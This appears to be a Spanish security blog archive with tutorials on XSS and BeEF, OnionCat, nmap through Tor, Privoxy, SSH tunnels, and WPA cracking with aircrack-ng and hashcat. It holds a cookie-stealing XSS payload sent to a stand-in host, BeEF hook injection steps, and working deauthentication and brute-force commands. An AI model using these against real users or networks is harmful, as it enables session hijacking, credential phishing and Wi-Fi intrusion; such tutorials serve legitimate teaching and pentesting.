Category Archives: Redes

  • 0

Introducción a XSS y BeEF

The Browser Explotation Framework Project

 

 

Introducción a XSS

Técnicamente, una inyección de código XSS se produce cuando un atacante envía código malicioso a través de un formulario de una página web y esta web responde mostrando información que no debe porque el servidor ha interpretado esa entrada como un script y lo ha ejecutado, cosa que no debería pasar. Sin embargo el XSS Cross-site Scripting es una de las principales amenazas y más extendidas dentro de la web. Permitiendo una variedad de ataques que se han ido perfeccionando con el tiempo y han dado lugar a que aparezcan herramientas como beef, completos frameworks que mal utilizados puedes ser usados para fines antitéticos fraude, robo de información, etc.

 

Peligros, ¿Que podría un atacante conseguir inyectando código malicioso en una página web?:

  • Control sobre el navegador de la víctima
  • Reversering
  • Robo información
  • Robo de contraseñas
  • Robo de cookies de sesión
  • Defacement
  • Utilizar el navegador de una víctima como proxy web
  • DNS Tunneling
  • Inutilización de la web
  • Descubrimiento de red
  • Redirecciones o reenvío de mails
  • Etc…

La mayoría de las webs contienen formularios, ya sean formularios de login, o simples formularios de contacto, o firma. Estos formularios son procesados por el navegador como el resto de la página, por lo tanto estos formularios son susceptibles de recibir una información que luego mostrará interpretándose por el servidor web, para luego mostrarse en la página.

Tipos de Inyecciones XSS

Existen tres tipos de inyecciones XSS:

Tipo Indirecto o Reflejado

Cualquier formulario que permita la inyección de código que luego será interpretado por el servidor, en muchos casos mostrando incómodos mensajes y/o mostrando información que no se debería mostrar, el resultado de la inyección se ve “reflejado” directamente en el navegador.

Persistente

Se da en casos, donde hay un formulario que mostrará la información enviada a través de él cada vez que se cargue la página. Son las más peligrosas, puesto que persisten, en la página. Son típicos formularios de foros y firmas que luego verán los demás usuarios.

DOM Based XSS

Es cuando el la infección se realiza modificando la configuración del navegador de la víctima a través de el script inyectado. Document Objet Module, es una api que usan los navegadores web para presentar y/o modificar la información de documentos XML y HTML y este tipo de infección utiliza esta api para infectar el navegador.

Un ejemplo de los peligros de robo de la cookie de sesión, imaginemos este código inyectado dentro de las etiquetas <script>/script>

href=# onclick="document.location='http://maliciososite.com/xss.php?c='+escape(document.cookie);">Hello!!!

Esto podría hacer que un usuario pulsase inconscientemente en este link, que envía la cookie generada a un sitio web deseado por el atacante permitiéndole suplantar la sesión. Como se ve maliciososite.com/xss.php?c= recibiría por método $POST “c” la cookie del usuario que pulsase ese enlace. Normalmente estos sitios web, han sido “secuestrados” por ciberdelincuentes que están recolectado datos de incautos usuarios, incluso guardándolos en la base de datos de la propia web.

BeEF The Browser Explotation Framework

beefproject.com es una herramienta que nos permite automatizar este proceso de inyección, permitiendo utilizar un framework para interactuar con el navegador infectado. BeEF hace uso de un script llamado “Hook.js” que actúa como nexo de unión entre el atacante y el navegador de la víctima ejecutando las instrucciones mediante javascript.

La instalación de beef es muy fácil, solo hay que instalarlo desde GitHub y ejecutarlo:

git clone https://github.com/beefproject/beef
cd beef
install bundle
./beef

Una vez esta instalado podemos empezar a utilizar el framework. Por defecto escucha en el puerto 3000, así que abrimos el navegador http://localhost:3000/ui/panel e introducimos como usuario “beef” y contraseña “beef”.
Una vez tenemos el programa beef corriendo, tenemos que inyectar código en alguna web y que sea persistente el xss para que cuando alguien cargue dicha página reciba la carga en su navegador.

Beef mostrará las interfaces en las que esta corriendo y las urls del panel y de hook.js:

[22:48:55][+] running on network interface: 127.0.0.1
[22:48:55]    |   Hook URL: http://127.0.0.1:3000/hook.js
[22:48:55]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[22:48:55][+] running on network interface: 192.168.1.117
[22:48:55]    |   Hook URL: http://192.168.1.117:3000/hook.js
[22:48:55]    |_  UI URL:   http://192.168.1.117:3000/ui/panel
[22:48:55][+] running on network interface: 25.0.3.5
[22:48:55]    |   Hook URL: http://5.0.3.5:3000/hook.js
[22:48:55]    |_  UI URL:   http://5.0.3.5:3000/ui/panel
[22:48:55][+] running on network interface: 10.0.0.14
[22:48:55]    |   Hook URL: http://10.0.0.14:3000/hook.js
[22:48:55]    |_  UI URL:   http://10.0.0.14:3000/ui/panel

De esta forma el usuario que visite la web con la inyección “TeamSec<script src=”http://192.168.1.117:3000/hook.js”>” quedará automáticamente infectado si no posee protección alguna.

Prueba concepto contra DVWA, ver post Dam Vulnerable apps

Reflected XSS

xss1xxs

Ahora vamos a probar contra el xss stored o persistente

He tenido que acortar la inyección ya que dvwa no permite introducir más de 50 caracteres en el formulario, así que http://192.168.1.117:3000/hook.js no cabía, lo he resuelto gracias al acortador de urls bitly
De esta forma cada vez que alguien cargue la página abrirá una conexión contra beef, además no se habrá dado cuenta, aparece el mensaje TeamSec y el script se carga en el navegador, no se detectará un comportamiento anómalo si no se dispone de protecciones.

xxs3beef

 

 

 

 

 

 

 

 

 

Beef tiene funcionalidades tan maliciosas como poder encender la webcam del ordenador infectado. Ofrece al usuario infectado la posibilidad de activar su web cam vía web, si este cae en la trampa, su webcam se activará mostrando al atacante la imagen de la víctima o de los objetos que rodean al ordenador.

Ejemplo de falso timeout session prefabricado para Facebook

Beef es una aplicación de pentesting que salta las barreras de seguridad en mayor medida con ayuda del propio usuario. Tenga en cuenta que la mayoría de usuarios desconocen los entresijos de la programación web y el funcionamiento propio de internet, es por esto que beef ofrece una serie de módulos que nos facilitarán la tarea, de la ingeniería social.

Módulos de beef especialmente maliciosos para hacer ingeniería social ¿No tiene las credenciales?. Pregúntaselas al usuario:

  • The Pretty Theft Este módulo muestra un mensaje explicando que la sesion del usuario ha expirado y debe introducir de nuevo su login y password.
  • The Simple Hijacker Este modulo trae un montón de plantillas para distintas ingenierías sociales, que se mostrarán cuando el usuario haga click en un enlace
  • Clippy Crea un pequeño asistente para “actualizar” el navegador

Muchos usuarios pican en estas trampas, cediendo todo tipo de credenciales, datos privados y claves de sus cuentas con las principales redes sociales.

Cualquier web que haya sido inyectada pasa de ser un sitio inofensivo a uno atacante, pudiendo crear muchas molestias a los usuarios, que aunque no hayan visto afectados sus navegadores, es posible que sí puedan ver mensajes emergentes, alertas, etc.

Como prevenir los XSS injection

Del lado del cliente, existen distintos métodos. Es buena idea usar proxys que filtre información o filtros web como NoScript, que se instalan en el navegador.

Del lado del servidor, como siempre los fallos en su mayoría provienen de errores de programación, es buena idea usar frameworks para el testeo a nivel de código antes de poner software en fase de producción. La falta de firewalls y filtros para xss facilitarían la tarea de la búsqueda de fallos por parte de los atacantes y que además no se impida la redirección a sitios maliciosos.
Aconsejamos tener como referencia la guía de OWASP para prevención de XSS. OWASP_Prevention_Cheat_Sheet

La política del mismo origen previene que un documento o script cargado en un “origen” pueda cargarse o modificar propiedades del documento desde un “origen” diferente. Se trata de uno de los conceptos de seguridad más importantes de los navegadores modernos y que se debería seguir implementándose de la misma forma cuando se desarrolla aplicaciones web.

Hasta aquí se muestra un poco, lo que puede hacer, con esta herramienta, instalada y configurada. Imagine por un momento que esa web es la suya o la de su organización. En su web el delincuente ha entrado y le ha dejado de “regalo” una instalación totalmente funcional del Beef. No ha modificado nada o por lo menos no es consciente de esa modificación pero lo suficiente para que sus clientes no se den cuenta que están siendo infectados cuando acceden a su pagina.

En TeamSec estaremos encantado de asesorarles sobre como prevenir este tipo de ataques e eliminarlos por completo dado que disponemos profesionales especializados y altamente experimentados.


  • 0

Onioncat redes VPN sobre i2p/Tor

oc_switch

¿Que es OnionCat?

OnionCat es un adaptador VPN que permite conectar dos computadoras o redes a través de túneles VPN. Existen aplicaciones que permiten crear redes VPN entre iguales, tales como openvpn, ssh, etc, en el caso de OnionCat es diferente por que estas redes se crean usando redes anónimas como pueden ser i2p o Tor.

En este caso la comunicación de esta VPN se establece previo al circuito de tor o i2p, donde cada punto final de la red, está precedido por 3 nodos de la red de tor (en el caso de usar tor). Lo que vendrían a ser un total de 6 nodos 3 por cada punto, además añade una capa más de cifrado haciendo que el spoofing sea prácticamente imposible.

OnionCat utiliza los hiddens services de tor. Asocia la interfaz virtual tun/tap al hidden service de OnionCat utilizando para ello ip6. OnionCat asignará una ip versión 6 automáticamente basándose en el hostname del hidden service de la máquinaque inicie la conectividad. Los hidden services de TOR usan direciones *.onion para localizar estos servicios cuya longitud es de 80 bits, mientras ip6 utiliza direcciones de 128 bits, siendo los 128 bits de este último suficientes como para transformar las direcciones de ipv6 a .onion y viceversa.

Dicho de manera mas clara, el sistema primero tiene acceso a Internet. Luego se conecta a Tot o i2p de manera segura y anónima y sobre esa capa lanza la VPN que se conecta al destino. Todo esto hace imposible que si alguien “pincha el cable” pueda interpretar el trafico que pasa por ese cable haciendo la comunicación muy segura.

Figura 1: Esquema de conexión de OnionCat.

Figura 1: Esquema de conexión de OnionCat.

¿Para que puede servir OnionCat?

Puedes ser una opción muy interesante si se quiere por ejemplo securizar una comunicación sobre la red de tor o i2p sin que los participantes revelen su ubicación. Si por ejemplo se usa Internet para realizar esta comunicación las Ips de los participantes son publicas, es mas, un tercero podría conocer el trafico que se envía y recibe entre los participantes. Si se usa algún sistema de VPN los administradores de esas VPNs conocen las IPs de los integrantes. En cambio con el sistema OnionCat se garantiza el anonimato de todos los participantes e incluso del trafico que se intercambia entre ellos.

A nivel empresarial puede ser una solución económica frente a soluciones de vpns de pago y no implica realizar complicadas configuraciones en redes y/o firewalls.

¿Como instalamos y configuramos OnionCat?

OnionCat esta pensado para ejecutarse sobre sistemas unix, pero puede instalarse y ejecutarse sobre windows con el emulador cygwin

apt-get install onioncat
ocat -i $(`cat /tor/lib/hidden_service_onioncat/hostname`)
ifconfig tun0 

Tras ejecutar el comando “ocat -i $(`cat /tor/lib/hidden_service_onioncat/hostname`)” este debería levantar una interface tun0 que será la que inicie la conexión contra los hidden services de TOR.

Presentación en la 25c3: OnionCat — A Tor-based Anonymous VPN


  • 0

Escaneando con NMAP a través de TOR con proxychains

nmaptor
NMAP es la herramienta más famosa para el escaneo de redes, con ella podremos escanear host, puertos, servicios, descubrir el sistema operativo de la víctima, información relacionada con el hardware, etcétera. NMAP se puede usar desde los dos lados del hacking, bien para descubrir qué servicios tenemos abiertos y poder detectar malware o backdoors, o bien para obtener información de interés a la hora de planificar un ataque. NMAP a su vez viene provisto de scripts para poder comprobar servicios concretos. A la hora de querer enmascarar nuestra identidad tenemos que hacerlo a través de un proxy o la red Tor, si no, a la víctima le llegarán directamente a sus logs nuestra dirección IP. A la hora de encaminar hacia la red tor tenemos disponibles algunas aplicaciones como torsocks o tsocks para dirigir el tráfico a la red Tor. Primero, vamos a instalarnos el servicio tor, si estamos en una distribución GNU/Linux podremos instalarlo directamente desde los repositorios:

# apt-get install tor && apt-get install tor-arm

En caso de no tenerlo en repositorios, debemos descargar el código fuente de aquí, compilarlo e instalarlo. Una vez se haya instalado correctamente, comprobamos si está iniciado con el siguiente comando:

# service tor status

De no estar corriendo, lo arrancamos con:

# service tor start

Los usuarios de Windows pueden realizar esta práctica usando el “Tor browser bundle“, a fin de cuentas, el objetivo es tener el servicio tor instalado para enviar la información a través de él. Una vez tenemos el servicio listo y funcionando, tenemos que usar una aplicación para dirigir el tráfico de la aplicación que queramos a nuestro proxy TOR.
Proxychains es un software destinado a establecer conexiones a través de proxy, en este caso nos proponemos pasar el tráfico por nuestro proxy para enrutar el tráfico al servicio TOR pero se puede enviar la información a proxys HTTP, SOCKS4 o SOCKS5, si no queremos usar tor pero en cambio si queremos conectarnos desde un proxy o lista de proxys podemos buscar en hidemyass para obetener proxys a los que conectarnos. Los usuarios de GNU/Linux podemos instalarlo simplemente con el siguiente comando:

sudo apt-get install proxychains

Los usuarios de Microsoft Windows tendrán que usar otro software que cumpla esta función como sockschains  , en este caso sockschains es software privativo, y como no, de pago, aunque te regalan un tiempo de prueba.
Proxychains usa un fichero donde almacena su configuración, ahí podremos indicarle a qué proxy o cadena de proxys queremos usar para la conexión. Para poder editar el fichero ejecutamos:

# nano /etc/proxychains.conf

Ahora incluimos al final la siguiente línea:

proxylist

Con ello indicamos que el proxy Tor está en nuestra máquina (localhost) en el puerto 9050. Podemos indicarle también otro proxy o una lista de proxys para establecer una cadena. Tenemos más opciones para configurar en este fichero:

  • strict_chain Con esto indicamos que nos coja todos los proxy de la lista, debemos mirar en qué orden queremos que se conecte a los proxys a la hora de escribir la lista, podemos alternarlo con random_chain.
  • random_chain Aquí indicamos que nos hará una cadena aleatoria con el listado de proxys que le definimos más abajo.
  • chain_len = 2 Con esto indicamos la longitud de la cadena aleatoria, debemos tener activado random_chain.
  • proxy_dns  Con esto dirigimos el tráfico dns generado por la aplicación hacia el proxy.

Ahora que lo tenemos configurado podemos ejecutar proxychains e indicarle que ejecute el escáner de puertos:

# proxychains nmap -v -sT <HOST>

nmap_por_tor_sockschains
Ahora nos va mostrando la información a la vez proxychains y nmap: Proxychains nos indica que se ha establecido la conexión tcp a través de TOR y NMAP nos va mostrando su avance. Mientras realiza el escaneo podemos ejecutar tor arm y comprobar que el tráfico se está enviando a través de nuestro proxy en TOR.

tor_arm

Debemos tener en cuenta que la red TOR y proxychains sólo acepta tráfico TCP, así que no podremos realizar los escaneos de tráfico UDP (-sU). En resumidas cuentas es un proceso que requiere poca configuración y que nos permite (a pesar de la lentitud) poder dirigir las conexiones de las aplicaciones que queramos a la red tor dificultando así la detección de quién realiza el escaneo. Si pretendemos redirigir el tráfico http de una aplicación, joomscan por ejemplo, necesitamos un proxy http que redirija el tráfico, por tanto debemos instalar privoxy, configurarlo para que utilize la red tor, sustituir la dirección en el fichero /etc/proxychains.conf por la de nuestro privoxy y lanzar el comando.

Un saludo!


  • 0

Privoxy

Privoxy es un proxy web sin almacenamiento en caché con capacidades avanzadas de filtrado para mejorar la privacidad. Lo hace modificando las cabeceras HTTP y datos de las páginas web que visitemos, controlando el acceso, eliminando alertas incomodas de la navegación y evitando que los sitios web que visitemos obtengan información de nuestra interactuación con esta. Privoxy tiene una configuración flexible y puede ser personalizado para satisfacer las necesidades y gustos individuales. Tiene aplicación tanto para los sistemas autónomos como para redes multiusuario.

Privoxy es software libre bajo licencia GNU GPLv2. Y tiene su versión en cada uno de los Sistemas operativos más utilizados

Privoxy no esconde su ip, le protege pero no en ese sentido, para esconder una ip es necesario utilizar un servicio de VPN o un servicio como TOR , u otros proxys. También podemos encadenar varios proxys, con utilidades como proxychains o bien hacer combinaciones entre estos servicios.

http://torvpn.com/howitworks.html

 

Combinando TOR y Privoxy

Utilizar privoxy añadirá privacidad a nuestra conexión a la red de TOR, puesto que aunque naveguemos utilizando esta red, nuestro navegador seguiría el mismo comportamiento normal, entregando datos verídicos sobre que navegador usamos, versión, sistema operativo y otros que podrían afectar directa e indirectamente a la privacidad del usuario, sin embargo todos esos datos serían alterados por privoxy, haciendo difícil establecer un patrón de comportamiento del visitante de la web, y/o obtener datos acerca de su software, credenciales, etc. De esta forma es casi imposible establecer una correlación entre el tráfico de origen y el visitante en cada momento que se haga click en una página web, esto mismo intenta el TORBoundle

Además podemos configurar privoxy para que encamine el tráfico hacia otros proxys. En linux editando /etc/privoxy/config y añadiendo una linea al final del mismo parecida a estas.

forward-socks4 / proxy1.org:1024 .
forward-http / proxy2.org:8080 .
forward-socks5 / 192.10.23.66:8081 .

Como se puede apreciar, se le indica a privoxy que tipo de proxy, dirección y puerto del proxy por donde encaminará el tráfico, este proxy no tiene porque ser http asi que podemos usar TOR como el proxy que privoxy usará, añadiendo al final por ejemplo esta línea:

forward-socks5 / 127.0.0.1:9050 .

#recordar que privoxy, en linux es un servicio, así que,
#para que cargue la nueva configuración es necesario reniciarlo

service privoxy restart

Despúes de esto podemos configurarlo como nuestro proxy http en el navegador, este corre en el puerto 8118 por defecto y  privoxy funcionando a través de socks de TOR.

 

privoxy

 

Muchas aplicaciones en linux tienen la opción de utilizar un proxyweb para su funcionamiento, en muchos casos porque no tienen entre sus funcionalidades la opción de usar socks, por lo tanto siempre puede ser útil a la hora de encaminar tráfico hacia el exterior en ocasiones que lo requieran. Por su puesto, privoxy puede hacer las funciones de un proxy transparente por lo cual puede ser una buena idea a la hora de securizar la navegación de usuarios a través de una red.

Pablo Martínez. TeamSec


  • 0

VPN y túnel ssh para navegar sin censura

VPN Virtual Private Network

La redes privadas virtuales no son más que conexiones de internet que van cifradas y con algunos sistemas de verificación e integridad sobre la conexión. Estas redes son utilizadas por las compañías que quieren mantener la confidencialidad de sus comunicaciones en una WAN. Por ejemplo imaginemos una empresa que necesita comunicaciones seguras entre dos sedes de la misma distintas, una en una ciudad y otra en otra, la única manera que tendría de conectar los servicios telemáticos de las dos sedes sería mediante internet.

¿Que por qué querría una empresa cifrar su tráfico?
Pues bien sencillo, hoy en día se utilizan muchos dispositivos móviles con acceso a puntos de redes inalámbricos, hoy en día más que nunca cualquiera podría estar escuchando su tráfico, en TeamSec pensamos que no importa la confianza en el entorno empresarial en cuanto a la seguridad. Ya sea su compañero de trabajo o su jefe, el 75% de los ataques en sedes de compañías se han producido dentro de la infraestructura informática de la empresa, ya fuese fuga de información, daños, etc. No es que seamos paranoicos, son recomendaciones basadas en hechos probados.

Vpn
El protocolo estándar de de VPN es IPSEC, pero existen otros protocolos PPPT, L2F, L2TP, SSL/TLS, SSH, etc. Cada uno con sus ventajas y desventajas.

Que nos ofrece una VPN:

Integridad de los datos- La encriptación de los datos es tan importante como que no sean cambiados o alterados durante su circulación. Por ejemplo, IPsec incluye  un mecanismo para asegurar que la parte encriptada del paquete, el encabezado completo y los datos del paquete IP o datagramas IP, no han sido alterados. Si se detectase alguna modificación, el paquete es descartado. Esta integridad de los datos también involucra autenticar el remote peer, esto es, la otra parte de la comunicación, que deberá  compartir su clave pública para completar el protocolo, como por ejemplo un certificado ssl.

Autenticación del origen de los datos- Verificar la identidad de la fuente de los datos que se están enviando es tan importante como los que se están recibiendo, puesto que siempre podemos estar expuestos a ataques del tipo spoofing que suplantarían nuestro tráfico.
Anti Replay Es la habilidad de detectar y rechazar paquetes que son reproducidos o copiados, y sirve para evitar el spoofing.

Data Tunneling/Traffic Flow Confidentiality- Tunneling es el proceso de encapsular un paquete completo dentro de otro paquete y enviarlo sobre una red. El tunneling se utiliza cuando se quiere esconder la identidad del dispositivo que origina el tráfico. Lo que hace es encapsular el tráfico de los host que hay detrás de él modificando el encabezado de los datagramas IP de los mismos. De esta forma no solo se añade total confidencialidad al tráfico, sino que además esconde el origen de las conexiones. Muchas empresas ofrecen este servicio y es en el tunneling al que hace referencia en sus ofertas comerciales para la utilización de internet con privacidad.

 

Usando un servidor ssh propio para saltarse la censura de navegación de una forma sencilla:

Muchas veces se nos restringe el acceso a algún servicio/puerto ya sea porque las políticas de la red que estemos utilizando, por las limitaciones técnicas, firewalls, etc. También puede ser que hayamos viajado a algún país donde no este permitido el acceso a ciertas páginas como es el caso de  China  Wikipedia Lista de webs bloqueadas en China y muchos otros.

En este ejemplo vamos a ver lo fácil que es saltarse casi cualquier restricción en cuanto a conectividad una vez tenemos acceso ssh a una máquina. En este caso supondremos que hemos instalado un servidor ssh en nuestra casa, hemos configurado el router para abrir el puerto 443 y enrutarlo al 22 de nuestro servidor de ssh. ¿Porqué el 443? Bueno, este puerto está normalmente abierto ya que es la versión segura de http para la versión web (https) y no es tan evidente como el 80, otro puerto que sería muy raro que estuviese cerrado hacia afuera dentro de cualquier red. El caso es utilizar un puerto que normalmente no esté cerrado y esos dos son universales.

Normalmente al instalar el servidor ssh puede ser que nos pregunte o no las passphrases según la distribución linux que estemos utilizando.

En este caso vamos a generar nuestras propias claves privada y pública porque es una tarea recomendable el cambiarlas de vez en cuando.

ssh-keygen -t rsa

root@teamsec:~/.ssh$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/root/.ssh/id_rsa.
Your public key has been saved in /home/root/.ssh/id_rsa.pub.
The key fingerprint is:
a6:35:ef:c1:91:91:54:7e:eb:04:9b:8a:7e:fd:11:ec root@teamsec
The key’s randomart image is:

 

Vpnssh
Como no hemos introducido passphrase no genera una extraña imagen aleatoria, a partir de ella se genera la clave rsa

Ahora copiamos nuestra claves al directorio de claves de ssh para que las use como nuestra claves pública y privada.

cp id_rsa /etc/ssh_host_rsa_key
cp ida_rsa_pub /etc/ssh/ssh_host_rsa_key.pub

Una vez tenemos nuestro servidor ssh con sus claves, este ya puede iniciar el protocolo de comunicación cifrado.

Ahora, suponiendo que ya estamos en el extranjero, deseamos acceder a Facebook, pero por alguna razón el país donde estamos nos lo tiene prohibido, de hecho vamos a suponer también que la web de descarga del TorBoundle, nos es inaccesible, y no lo tenemos descargado. Así que vamos a crear un tunnel ssh que nos permitirá saltarnos esa restricción.

$ssh -p 443 -L 80:facebook.com:80 myhome.no-ip.org

Ahora abrimos el navegador y tecleamos en la barra de direcciones
http://localhost

Ya tendríamos acceso a Facebook, pero es engorroso si se quiere visitar más páginas.

Hilando más fino, usando nuestro propio proxy:

Hay 8 escenarios posibles de conexiones túneles ssh genialmente explicados por Vicent Navarro en su magnífico blog y de muy recomendable lectura.

Blog de Vicente Navarro, creando túneles tcpip, port forwarding con ssh, los 8 escenarios posibles usando openssh

Como no solo queremos entrar a Facebook,  vamos a decirle a nuestro tunnel que queremos conectarnos a un servicio de nuestros servidor ssh que nos deje navegar , en este caso usaremos privoxy, que tenemos instalamos en el servidor. Privoxy es  un proxy que corre en el puerto por defecto 8118 asi que ejecutamos:

ssh -p 443 -L 6666:localhost:8118 myhome.no-ip.org

Esto creará un tunnel contra el puerto 8118, que acepta peticiones de un navegador web, así que configuramos nuestro navegador en el puerto de escucha. (-L 6666 significa que nuestra máquina creará un tunnel ssh a través de ese puerto en local 6666, localhost:6666)
Ese será el proxy que debemos configurar en el navegador.
confignavegador
Recordar que se puede configurar privoxy para que utilice la red de TOR siempre y cuando hayamos añadido la linea correspondiente a su configuración. (forward-socks5 / 127.0.0.1:9050 .)

echo “forward-socks5 / 127.0.0.1:9050 .” >> /etc/privoxy/config

De esta forma, conseguimos dos cosas, evitar la censura y securizar la comunicación de el tráfico que generemos desde nuestra máquina hasta nuestra casa, ya que estará cifrado, haciendo muy difícil que se sepa que estamos haciendo a través de esa conexión, además virtualmente estaríamos visitando Facebook desde nuestra propia casa y desde nuestro país, porque así es como lo percibirían los servidores que visitemos de esta manera, excepto claro, si usamos la combinación tor+privoxy en nuestro servidor de ssh, para además añadir privacidad a nuestra navegación.

Como comentaba esta es una forma de portforwarding que funciona, sin utlizar socks y  sin complicadas configuraciones de enrutado de interfaces virtuales que nos exigiría un escenario de reenvío dinámico de puertos

Blog de Vicente Navarro, vpn con openssh

Pablo Martínez. TeamSec


  • 0

Crackeando WPA con Hashcat.

Crackeando WPA con Hashcat

logo

Uno de los principales inconvenientes a la hora de desencriptar claves WPA es el tener que depender de un diccionario o las rainbow tables para poder obtener la ansiada contraseña. Esta práctica en muchos casos deja el password “indescifrable” por no dar exactamente con la palabra, en otros casos como son los hashes MD5, tenemos software que aplica todas las combinaciones posibles incrementando el numero de caracteres que se van probando hasta dar con la clave, como por ejemplo John the ripper o Hashcat.
En este caso hablaremos de hashcat y de los ataques de fuerza bruta a handshakes de WPA/WPA2. El handshake (apretón de manos) es el paquete que contiene el hash de la clave WPA/WPA2 de una red wifi. La opción más común es atacar mediante un diccionario, pero estamos sujetos a que la palabra de la clave figure en el diccionario, y se termina por tener mucho espacio en disco ocupado por estos ficheros. Una alternativa es un ataque de fuerza bruta, probando una a una todas las combinaciones posibles hasta dar con la correcta. En el caso de las claves WPA hay que tener en cuenta la posible longitud de la clave, ya que si es WPA2 sabemos que podemos tener el doble de caracteres que podemos encontrar en WPA, en esta clase de ataques, una buena gestión de contraseñas de la red inalámbrica puede ser decisiva a la hora de frustrar un ataque de estas características.
Para comenzar, usaremos la suite de aircrack-ng para extraer el handshake. Primero ponemos nuestra interfaz wifi en modo monitor:

# airmon-ng start wlan0

Hashcat_airmon-ng

Una vez hecho esto nos pondrá el interfaz wlan0 en modo monitor, creando el interfaz mon0. Ahora debemos ver qué redes están circulando a nuestro alrededor, para ello usaremos airodump-ng, este programa de la suite aircrack es el encargado de guardar las capturas de red que necesitamos analizar para extraer la clave, a diferencia de las redes con seguridad WEP, las redes WPA no requieren que almacenemos IV’s para poder averiguar la clave, en este caso sólo necesitamos capturar un paquete, el handshake.

Primero ejecutamos airodump-ng sin guardar y observando todos los canales para seleccionar el objetivo, abrimos una nueva shell y escribimos:

# airodump-ng mon0

Hashcat_airodump_primero

Nos convendría un punto de acceso en el que tuviésemos un cliente asociado, así podemos hacer el ataque de desautenticación y provocar la reconexión para capturar el handshake de la red en cuestión. Anotamos las direcciones MAC tanto del punto de acceso como del cliente que queremos desautenticar.
Ahora ejecutamos airodump con las especificaciones para el punto de acceso que hemos elegido:

sudo airodump-ng --bssid a4:5X:XX:XX:XX:XX --write ~/Escritorio/POCwpa --output-format pcap mon0

Una vez hecho esto lanzamos el ataque de desautenticación y esperamos la reconexión del cliente para que airodump capture el handshake.

# aireplay-ng -0 10 -e Apio -a a4:5X:XX:XX:XX:XX -c 00:EX:XX:XX:XX:XX --ignore-negative-one mon0

Hashcat_aireplay_DeauthAttack

Una vez que vemos que ha capturado el handshake nos lo indicará en la equina superior derecha de la consola.

Hashcat_airodump_handshake_capturado

Ahora que tenemos el handshake capturado tenemos varias posibilidades de transformar el archivo a un formato legible para hashcat. Como primera opcion tenemos la web de hashcat, que nos proporciona una utilidad online para transformar nuestros archivos .pcap en .hccap.
Como segunda opción nos podemos descargar el software necesario para ejecutarlo en nuestro linux, en este caso debemos compilarlo, para ello nos descargamos el software en este enlace  y seguidamente lo descomprimimos.

Esto nos creará un directorio con el mismo nombre del archivo que hemos descomprimido, ahora ingresamos en el directorio y compilamos el programa.

Si diese algún problema de dependencias tan sólo debéis instalar las librerías que necesitéis, en tal caso, toca pelearse con la consola >;-)

Una vez instalado, usar el programa es de lo más sencillo, simplemente tenemos que darle el archivo de entrada y el archivo de salida, como figura en el siguiente ejemplo:

./cap2hccap.bin ~/Escritorio/POCwpa-14.cap ~/Escritorio/HandshakeApio.hccap

Esto nos dejará el archivo preparado para que le pasemos por encima el hashcat.

./hashcat-cli64.bin -m2500 -a3 -n2 --pw-min=20 ~/Escritorio/HandshakeApio.hccap.cap ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a

Modificadores:

-a Indicamos el modo de ataque, en este caso 3 indica fuerza bruta.

-m Indicamos el tipo de hash, en este caso WPA/WPA2 se corresponde al 2500.

?a?a?a?a?a?a?a Indicamos la máscara, en este caso ?a significa que buscará numéricos, mayúsculas, minúsculas y especiales, escribiendo ?a de forma consecutiva le estamos indicando la longitud máxima de carateres que va a probar. Saber manejar la máscara de hashcat nos ayudará a concretar un poco qué tipo de caracteres estamos buscando dentro del password, por ejemplo:

Dado el password Habichuela**

Una máscara adecuada sería ?u?l?l?l?l?l?l?l?l?l?s?s, así limitamos con ?u la búsqueda a mayúsculas sólamente, con ?l buscamos minúsculas y con ?s buscamos caracteres especiales, de tal forma no tenemos que buscar una mayúscula en las dos últimas posiciones. Para el caso del wireless podemos ver como algunos puntos de acceso tienen por defecto claves numéricas o alfanuméricas, por tanto podríamos podríamos ahorrar bastante tiempo si quitamos de las combinaciones posibles los caracteres especiales.

Una vez esté trabajando hashcat podremos darle a enter y ver el progreso.

Hashcat_Proceso


  • 1

Introducción a Hashcat

Tags :

Category : Ciberseguridad , Redes

Hashcat es un software que automatiza la labor de hallar hashes con el objeto de recuperar contraseñas. Hashcat contiene varios modos de ataque (por diccionario, fuerza bruta, etc) y múltiples tipos de hashes soportados con los que podremos hallar casi la clave que queramos (si disponemos del hardware adecuado).

logo
En cuanto al hardware necesario para este programa, se aplica la misma regla que a cualquier otro software del estilo, necesitamos una buena gráfica, o en su defecto un buen procesador, el motivo de este requerimiento es poder comparar hashes con palabras a la mayor velocidad posible. En el caso de los hashes de WPA (hashes RC4) si una clave tuviera 20 caracteres tardaría una media de 300 días con un procesador intel i5, si hacemos la prueba, comprobaremos que un buen hardware es decisivo para ésta clase de tareas. Para agilizar el tiempo podremos aprovechar la gpu de nuestra tarjeta gráfica en el caso que tengamos un chipset compatible (como cuda, por ejemplo), en este caso la herramienta se llama oclHashcat, la cual podremos instalar desde los repositorios de kali.
Para comenzar, si lo instalamos desde el repositorio de kali y lo intentamos iniciar, nos suelta la enorme bofetada de que: “El software está desactualizado”.

captura_desactualizacion

Así que para evitarnos problemas, nos vamos a su página oficial y nos bajamos la última versión.
Una vez lo descarguemos, descomprimimos e ingresamos en el directorio creado. Si estamos en linux debemos usar el archivo binario (.bin), en windows usaremos el archivo .exe. La forma de uso es la misma que cualquier comando de GNU/linux, podremos ver la ayuda ejecutando el siguiente comando (en mi caso uso un sistema de 64 bits):

./hashcat-cli64.bin –help

Nos muestra la siguiente página de ayuda en la cual incluyen todos los hashes soportados:

hashcat, advanced password recovery

Usage: hashcat [options] hashfile [mask|wordfiles|directories]

=======
Options
=======

* General:

  -m,  --hash-type=NUM               Hash-type, see references below
  -a,  --attack-mode=NUM             Attack-mode, see references below
  -V,  --version                     Print version
  -h,  --help                        Print help
       --eula                        Print EULA
       --expire                      Print expiration date
       --quiet                       Suppress output

* Misc:

       --hex-salt                    Assume salt is given in hex
       --hex-charset                 Assume charset is given in hex

* Files:

  -o,  --outfile=FILE                Define outfile for recovered hash
       --outfile-format=NUM          Define outfile-format for recovered hash, see references below
  -p,  --separator=CHAR              Define separator char for hashlists/outfile
       --show                        Show cracked passwords only (see also --username)
       --left                        Show un-cracked passwords only (see also --username)
       --username                    Enable ignoring of usernames in hashfile (recommended: also use --show)
       --remove                      Enable remove of hash once it is cracked
       --stdout                      stdout mode
       --disable-potfile             do not write potfile
       --debug-file=FILE             debug-file
       --debug-mode=NUM              Defines the debug mode (hybrid only by using rules), see references below
